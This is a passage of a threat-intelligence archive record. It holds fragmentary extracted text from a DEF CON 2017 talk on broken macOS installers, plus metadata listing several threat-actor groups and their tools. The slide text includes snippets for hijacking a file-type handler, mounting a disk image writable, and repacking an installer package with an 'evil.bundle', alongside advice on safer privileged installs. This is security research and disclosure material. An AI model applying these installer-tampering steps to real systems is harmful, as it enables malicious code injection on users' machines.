\u003ckey\u003eLSHandlerRoleAll\u003c/key\u003e \u003cstring\u003e-\u003c/string\u003e\r\n\u003c/dict\u003e \u003ckey\u003eLSHandlerRoleAll\u003c/key\u003e \u003cstring\u003ecom.company.evilHijacker\u003c/string\u003e \u003c/dict\u003e \u003c/array\u003e\r\n\u003c/dict\u003e \u003c/plist\u003e com.apple.launchservices.secure.plist -(BOOL)application:(NSApplication *)sender\r\nopenFile:(NSString *)filename { //mount .dmg as R/W! NSTask *task = [[NSTask alloc] init];\r\ntask.launchPath = @\"/usr/bin/hdiutil\"; task.arguments = @[@\"attach\", filename, @\"-shadow\", @\"-\r\nnoverify\"]; [task launch]; [task waitUntilExit]; //open in Finder.app [[NSWorkspace sharedWorkspace]\r\nopenFile:@\"/Volumes/\u003cmount point\u003e/\"]; return YES; } .dmg writable :) default handler\r\n47. vmware installer/updater EXPLOIT:\r\n48. google chrome EXPLOIT:\r\n49. 's Installer EXPLOIT: 1 2 3 expand pkg $ pkgutil\r\n--expand cp evil.bundle installMe/Plugins flatten pkg \u0026 replace $ pkgutil --flatten system popup from\r\nwithin Installer.app } fake popup piggy-back off legit one or response: *crickets* :( malicious dylib in\r\nInstaller.app\r\n50. CONCLUSIONS wrapping this up\r\n51.\r\n52.\r\n53.\r\n54. ...use SMJobBless! (MORE)SECURE INSTALLS AuthorizationCreate(NULL,\r\nkAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, \u0026self-\u003eauthRef);\r\nAuthorizationItem authItem\r\n= { kSMRightBlessPrivilegedHelper, 0, NULL, 0 }; AuthorizationRights authRights = { 1, \u0026authItem };\r\nAuthorizationFlags flags = kAuthorizationFlagDefaults | kAuthorizationFlagInteractionAllowed |\r\nkAuthorizationFlagPreAuthorize | kAuthorizationFlagExtendRights; AuthorizationCopyRights(self-\r\n\u003eauthRef, \u0026authRights, kAuthorizationEmptyEnvironment, flags, NULL); /* This does all the work of\r\nhttps://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8\r\nPage 10 of 11\n\nverifying the helper tool against the application * and vice-versa. Once verification has passed, the\r\nembedded launchd.plist * is extracted and placed in /Library/LaunchDaemons and then loaded. The *\r\nexecutable is placed in /Library/PrivilegedHelperTools. */ SMJobBless(kSMDomainSystemLaunchd,\r\n(CFStringRef)@\"com.someCompany.HelperToolBundleID\", self-\u003eauthRef, \u0026error); apple's\r\n\"SMJobBless.zip\" } ...but \"The calling application \u0026 target executable tool must both be signed\" -apple\r\npersistently installs a launch daemon (that must delete itself!) \"You cannot specify your own program\r\narguments\" -apple (implement XPC) SMJobBless() in code #unload helper tool's launch daemon sudo\r\nlaunchctl unload /Library/LaunchDaemons/ com.company.HelperTool.plist #delete helper tool's launch\r\ndaemon plist sudo rm /Library/LaunchDaemons/ com.company.HelperTool.plist #delete helper tool binary\r\nsudo rm /Library/PrivilegedHelperTools/HelperTool uninstall logic\r\n55.\r\n56.\r\n57. mahalo :) CREDITS - FLATICON.COM - ICONMONSTR.COM -\r\nICONEXPERIENCE.COM -\r\nHTTP://WIRDOU.COM/2012/02/04/IS-THAT-BAD-DOCTOR/ -\r\nHTTP://TH07.DEVIANTART.NET/FS70/PRE/F/\r\n2010/206/4/4/441488BCC359B59BE409CA02F863E843.JPG   - \"AUTHORIZATION SERVICES\r\nPROGRAMMING GUIDE\" APPLE - *OS INTERNALS V.III\" J. LEVIN - \"OSX FSEVENTS\"\r\nHTTPS://STACKOVERFLOW.COM/A/20854586/3854841 - \"APPS USING SPARKLE\"\r\nHTTPS://GITHUB.COM/SPARKLE-PROJECT/SPARKLE/ISSUES/717 - \"REMOVE USES OF\r\nDEPRECATED FUNCTION AUTHORIZATIONEXECUTEWITHPRIVILEGES\" HTTPS://\r\nBUGS.CHROMIUM.ORG/P/CHROMIUM/ISSUES/DETAIL?ID=593133 images resources\r\nSource: https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8\r\nhttps://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8"
	],
	"report_names": [
		"defcon-2017-death-by-1000-installers-its-all-broken?slide=8"
	],
	"threat_actors": [
		{
			"id": "360f51f5-8a80-41d6-92c4-9aa042cd2732",
			"created_at": "2022-10-25T16:07:23.34569Z",
			"updated_at": "2026-04-10T02:00:04.55147Z",
			"deleted_at": null,
			"main_name": "APT 30",
			"aliases": [
				"APT 30",
				"Bronze Geneva",
				"Bronze Sterling",
				"CTG-5326",
				"G0013",
				"Override Panda",
				"RADIUM",
				"Raspberry Typhoon"
			],
			"source_name": "ETDA:APT 30",
			"tools": [
				"BackBend",
				"Creamsicle",
				"Flashflood",
				"Gemcutter",
				"Lecna",
				"NetEagle",
				"Neteagle_Scout",
				"Orangeade",
				"ScoutEagle",
				"Shipshape",
				"ZRLnk",
				"norton"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "ca5d1398-1ab3-4844-91e3-f2b436f802f7",
			"created_at": "2024-02-02T02:00:04.047821Z",
			"updated_at": "2026-04-10T02:00:03.540092Z",
			"deleted_at": null,
			"main_name": "Raspberry Typhoon",
			"aliases": [
				"RADIUM"
			],
			"source_name": "MISPGALAXY:Raspberry Typhoon",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "faa4a29b-254a-45bd-b412-9a1cbddbd5e3",
			"created_at": "2022-10-25T16:07:23.80111Z",
			"updated_at": "2026-04-10T02:00:04.753677Z",
			"deleted_at": null,
			"main_name": "LookBack",
			"aliases": [
				"FlowingFrog",
				"LookBack",
				"LookingFrog",
				"TA410",
				"Witchetty"
			],
			"source_name": "ETDA:LookBack",
			"tools": [
				"FlowCloud",
				"GUP Proxy Tool",
				"SodomMain",
				"SodomMain RAT",
				"SodomNormal"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "9f101d9c-05ea-48b9-b6f1-168cd6d06d12",
			"created_at": "2023-01-06T13:46:39.396409Z",
			"updated_at": "2026-04-10T02:00:03.312816Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"CHROMIUM",
				"ControlX",
				"TAG-22",
				"BRONZE UNIVERSITY",
				"AQUATIC PANDA",
				"RedHotel",
				"Charcoal Typhoon",
				"Red Scylla",
				"Red Dev 10",
				"BountyGlad"
			],
			"source_name": "MISPGALAXY:Earth Lusca",
			"tools": [
				"RouterGod",
				"SprySOCKS",
				"ShadowPad",
				"POISONPLUG",
				"Barlaiy",
				"Spyder",
				"FunnySwitch"
			],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "2fa14cf4-969f-48bc-b68e-a8e7eedc6e98",
			"created_at": "2022-10-25T15:50:23.538608Z",
			"updated_at": "2026-04-10T02:00:05.378092Z",
			"deleted_at": null,
			"main_name": "Lotus Blossom",
			"aliases": [
				"Lotus Blossom",
				"DRAGONFISH",
				"Spring Dragon",
				"RADIUM",
				"Raspberry Typhoon",
				"Bilbug",
				"Thrip"
			],
			"source_name": "MITRE:Lotus Blossom",
			"tools": [
				"AdFind",
				"Impacket",
				"Elise",
				"Hannotog",
				"NBTscan",
				"Sagerunex",
				"certutil"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "18a7b52d-a1cd-43a3-8982-7324e3e676b7",
			"created_at": "2025-08-07T02:03:24.688416Z",
			"updated_at": "2026-04-10T02:00:03.734754Z",
			"deleted_at": null,
			"main_name": "BRONZE UNIVERSITY",
			"aliases": [
				"Aquatic Panda",
				"Aquatic Panda ",
				"CHROMIUM",
				"CHROMIUM ",
				"Charcoal Typhoon",
				"Charcoal Typhoon ",
				"Earth Lusca",
				"Earth Lusca ",
				"FISHMONGER ",
				"Red Dev 10",
				"Red Dev 10 ",
				"Red Scylla",
				"Red Scylla ",
				"RedHotel",
				"RedHotel ",
				"Tag-22",
				"Tag-22 "
			],
			"source_name": "Secureworks:BRONZE UNIVERSITY",
			"tools": [
				"Cobalt Strike",
				"Fishmaster",
				"FunnySwitch",
				"Spyder",
				"njRAT"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "578e92ed-3eda-45ef-b4bb-b882ec3dbb62",
			"created_at": "2025-08-07T02:03:24.604463Z",
			"updated_at": "2026-04-10T02:00:03.798481Z",
			"deleted_at": null,
			"main_name": "BRONZE GENEVA",
			"aliases": [
				"APT30 ",
				"BRONZE STERLING ",
				"CTG-5326 ",
				"Naikon ",
				"Override Panda ",
				"RADIUM ",
				"Raspberry Typhoon"
			],
			"source_name": "Secureworks:BRONZE GENEVA",
			"tools": [
				"Lecna Downloader",
				"Nebulae",
				"ShadowPad"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "6abcc917-035c-4e9b-a53f-eaee636749c3",
			"created_at": "2022-10-25T16:07:23.565337Z",
			"updated_at": "2026-04-10T02:00:04.668393Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Bronze University",
				"Charcoal Typhoon",
				"Chromium",
				"G1006",
				"Red Dev 10",
				"Red Scylla"
			],
			"source_name": "ETDA:Earth Lusca",
			"tools": [
				"Agentemis",
				"AntSword",
				"BIOPASS",
				"BIOPASS RAT",
				"BadPotato",
				"Behinder",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"Doraemon",
				"FRP",
				"Fast Reverse Proxy",
				"FunnySwitch",
				"HUC Port Banner Scanner",
				"KTLVdoor",
				"Mimikatz",
				"NBTscan",
				"POISONPLUG.SHADOW",
				"PipeMon",
				"RbDoor",
				"RibDoor",
				"RouterGod",
				"SAMRID",
				"ShadowPad Winnti",
				"SprySOCKS",
				"WinRAR",
				"Winnti",
				"XShellGhost",
				"cobeacon",
				"fscan",
				"lcx",
				"nbtscan"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "d53593c3-2819-4af3-bf16-0c39edc64920",
			"created_at": "2022-10-27T08:27:13.212301Z",
			"updated_at": "2026-04-10T02:00:05.272802Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Earth Lusca",
				"TAG-22",
				"Charcoal Typhoon",
				"CHROMIUM",
				"ControlX"
			],
			"source_name": "MITRE:Earth Lusca",
			"tools": [
				"Mimikatz",
				"PowerSploit",
				"Tasklist",
				"certutil",
				"Cobalt Strike",
				"Winnti for Linux",
				"Nltest",
				"NBTscan",
				"ShadowPad"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775441535,
	"ts_updated_at": 1775792207,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/2b34a8f4ad84c6a49f76d67e104045adb313f3fd.pdf",
		"text": "https://archive.orkl.eu/2b34a8f4ad84c6a49f76d67e104045adb313f3fd.txt",
		"img": "https://archive.orkl.eu/2b34a8f4ad84c6a49f76d67e104045adb313f3fd.jpg"
	}
}